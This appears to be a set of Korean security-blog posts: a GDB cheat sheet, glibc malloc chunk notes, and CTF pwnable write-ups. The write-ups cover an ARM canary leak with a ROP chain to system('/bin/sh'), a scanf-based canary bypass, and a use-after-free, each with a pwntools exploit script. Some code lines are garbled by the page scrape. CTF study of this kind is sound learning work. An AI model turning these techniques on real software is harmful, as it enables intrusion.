실행
gdb "파일명"

인텔형 어셈블리어로 보기
set disassembly-flavor intel

메인 함수 디스어셈블하기
disas main

브레이크 포인트 걸기
b *main 메인 함수에 브레이크 포인트
b *0x00000000004005bd 특정 주소에 브레이크 포인트
b "숫자" eip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행하기
continue 멈춘 부분부터 계속 실행하기
ni 한 스탭 실행 후 멈추기

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기 
x/o "메모리 주소" 8진수로 확인하기 
x/d "메모리 주소" 10진수로 확인하기 
x/u "메모리 주소" 부호없는 10진수로 확인하기 
x/x "메모리 주소" 16진수로 확인하기 
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

'Hacking' 카테고리의 다른 글

LODWORD, LOBYTE  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
def LODWORD(x):
    return x & 0xfffffff

def LOBYTE(x):
    return x & 0xff

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23

canary
0.54MB

ARM Pwnable문제다.  ARM 포너블은 처음 잡아봤다. 

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    char buf[40];
    puts("Welcome to hxp's Echo Service!");
    while (1)
    {
        printf("> ");
        ssize_t len = read(0, buf, 0x60);
        if (len <= 0) return 0;
        if (buf[len - 1] == '\n') buf[--len] = 0;
        if (len == 0) return 0;
        puts(buf);
    }
}
const void* foo = system;

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./canary')
p = process('./canary')


p.sendafter('> ','A'*41)
p.recvuntil('A'*40)
canary = u32(p.recv(4)) - 0x41
binsh = 0x71EB0
system = 0x16d90
popret = 0x00026b7c # pop {r0, r4, pc}

payload = 'A'*40
payload += p32(canary)
payload += 'A'*12
payload += p32(popret)
payload += p32(binsh) 
payload += 'A'*4
payload += p32(system)
p.sendafter('> ',payload)
p.sendlineafter('> ','')
p.interactive()

 

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
LODWORD, LOBYTE  (0) 2019.12.13
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23

full relro, nx, pie가 걸려있고 따로 custom canary가 존재한다.
여기서 canary는 srand(time(0))로 rand값 가져오지만 scanf(%d,var[i])처럼 i 범위를 넘어서 카나리 값을 입력할 수 있을때 원래는 숫자만 가능하지만 문자가 입력되면 문자가 버퍼에 남아 %d를 통과하지만 +,-는 예외다. 버퍼에남지도 않고 해당 변수에 아무 값도 저장하지 않으므로 Canary bypass가 가능하다. 그래서 카나리를 손상시키지않고 return addresss만 변조시킬수 있다.

int coal_mine()
{
  unsigned int v0; // eax
  int v2[16]; // [esp+8h] [ebp-60h]
  char name; // [esp+48h] [ebp-20h]
  int v4; // [esp+58h] [ebp-10h]
  int i; // [esp+5Ch] [ebp-Ch]

  memset(v2, 0, sizeof(v2));
  v0 = time(0);
  srand(v0);
  my_canary = rand();
  v2[0] = my_canary;
  v4 = 10;
  printf("Mine worker ID : ");
  fflush(stdout);
  __isoc99_scanf("%24s", &name);
  for ( i = 0; i < v4; ++i )
  {
    printf("Mineral%d : ", i + 1);
    fflush(stdout);
    __isoc99_scanf("%u", &v2[i]);
  }
  for ( i = 0; i < v4; ++i )
    printf("%d. 0x%08u\n", i, v2[i]);
  if ( v2[0] != my_canary )
  {
    puts("you can't escape my coal mine ..");
    exit(0);
  }
  return puts("my canaria is uninfected. i'm safety !");
}

v4를 조작해서 ebp-60에서 리턴 위치인 ebp+4까지 갈 수 있는 크기를 만들어주고 Canary는 +,-로 bypass해주면 된다.
마지막 ebp+4의 값은 treasure위치로 바꿔주면 된다. 그러면 treasure로 가서 flag를 딸 수있다.

exploit.py

from pwn import *

#context.log_level = 'debug'
e = ELF('./coal_mine')
p = process('./coal_mine')

p.recvuntil('GOAL(')
magic = int(p.recv(10),16)
log.info('treasure : ' + hex(magic))

p.sendlineafter(': ','A'*16 + p32(26))
p.sendlineafter(':','+')
for i in range(24):
    p.sendlineafter(':','+')
p.sendlineafter(':',str(magic))
p.interactive()

'Hacking' 카테고리의 다른 글

LODWORD, LOBYTE  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15

서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.

2019프로젝트.pdf
0.44MB

 

'Hacking' 카테고리의 다른 글

[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13

chunk = 할당된 메모리



1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size/* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links — used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links — used only if free. */
struct malloc_chunk* bk_nextsize;
};
cs


할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.


prev_size

prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다. 

이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다. 


size

size에는 현재 chunk의 사이즈가 기록됩니다.

chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
 
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
 
/* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
 
/* check for mmap()’ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
 
/* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
 
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
cs


※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그

※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그

※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그


fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해 chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.

'Hacking' 카테고리의 다른 글

syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12

catshop


UAF 취약점이 발생한다. 

fget는 입력 받을 개수 -1 만큼 입력받고 마지막 문자를 NULL로 만들어서 4bytes 주소값을 넣으려면 5만큼 넣어줘야한다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= process('./catshop')
= ELF('./catshop')
 
flag = 0x080488b6
 
p.sendafter(':',p32(1)) # malloc
sleep(0.1)
p.sendafter(':',p32(2)) # free
sleep(0.1)
p.sendafter(':',p32(4)) # malloc
sleep(0.1)
p.sendafter(':',p32(5)) # length
sleep(0.1)
p.sendlineafter(':',p32(flag)) # fget -> \x00
sleep(0.1)
p.sendlineafter(':',p32(3)) # call
 
p.interactive()
 
cs


'Hacking' 카테고리의 다른 글

CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2016codegate]Watermelon  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11

+ Recent posts